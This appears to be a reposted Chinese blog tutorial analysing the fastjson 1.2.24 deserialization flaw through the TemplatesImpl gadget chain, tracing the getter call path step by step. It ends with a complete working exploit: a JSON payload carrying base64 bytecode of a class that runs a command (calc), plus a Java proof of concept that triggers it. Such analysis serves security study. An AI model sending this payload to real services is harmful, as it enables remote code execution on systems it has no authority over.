当前位置:   article > 正文

Java 反序列化漏洞--fastjson-1.2.24--TemplatesImpl攻击链_at com.alibaba.fastjson.util.javabeaninfo.build

at com.alibaba.fastjson.util.javabeaninfo.build

前置知识

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

这里帮运一下素十八大佬总结的fastjson的功能要点

1.使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
2.fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
3.使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
4.如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
5.fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
6.fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。//本文中的_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串
7.默认情况下fastjson只会去反序列化public所修饰的属性,想要反序列化私有属性就得在用parseObject()时候设置Feature.SupportNonPublicField

漏洞分析

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化
在这里插入图片描述
接下来我们看看漏洞的触发点

getTransletInstance()

首先我们看getTransletInstance() 方法,可以注意到该方法中存在一个 _class数组,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会使用 newInstance() 实例化。倘若_class[_transletIndex]数组可控,我们就可以在里面存放的式我们构造的恶意类
在这里插入图片描述
接下类我们看看哪里调用了getTransletInstance()方法吧
在这里插入图片描述

newTransformer()

在这里插入图片描述
我们可以看到该方法调用了getTransletInstance(),除此之外没有其他有用信息,我们接着看看哪里调用了newTransformer()方法吧
在这里插入图片描述

getOutputProperties()

可以看到getOutputProperties()里面调用了newTransformer()方法
在这里插入图片描述
在这里插入图片描述
而 getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法。

这里就衔接上了我们上面前置知识说的json会调用类中的所有 getter 与setter ,此时我们就有了一条利用链

json->getOutputProperties() -> newTransformer() -> getTransletInstance()
  • 1

利用链找到了,接下里我们回到getTransletInstance()方法,我们要想办法构造我们的恶意类

恶意类的构造

我们先看看_class数组中的类是否可控
在这里插入图片描述
我们可以看到defineTransletClasses() 中有赋值的动作,而且defineTransletClasses() 在 getTransletInstance() 中,如果 _class 不为空即会被调用

接下来我们分析下defineTransletClasses() 的代码逻辑
在这里插入图片描述
如果_bytecodes 不为空,就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。
在这里插入图片描述

接下来而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的,_transletIndex 设置为当前循环中的标记位i,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

那我们可以这样理解_class[_transletIndex]==_bytecodes[i],而前面正好是_class[_transletIndex]里的类newInstance() 实例化,因此_bytecodes[i]里存的是我们构造的恶意类即可

这里再额外说一点
在这里插入图片描述
defineTransletClasses()里会调用getExternalExtensionsMap(),当_tfactory为null时会报错,所以要对_tfactory设置;_name也是同样如此。
在这里插入图片描述

POC构造

现在我们来进行总结下准备构造POC

默认情况下fastjson只会去反序列化public所修饰的属性,而poc中用到的_bytecodes和_name都是私有属性)想要反序列化私有属性就得在用parseObject()时候设置Feature.SupportNonPublicField
为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null
@type需要指定了解析的类,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
_bytecodes是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串

调用链为

fastjson->getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()
  • 1

最终的 payload 为:

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi"],
	"_name": "su18",
	"_tfactory": {},
	"_outputProperties": {},
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Mapentrytest {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

参考文章
https://su18.org/post/fastjson/#1-fastjson-1224
https://www.cnblogs.com/byErichas/p/15723753.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/黑客灵魂/article/detail/923057
推荐阅读
相关标签
  

闽ICP备14008679号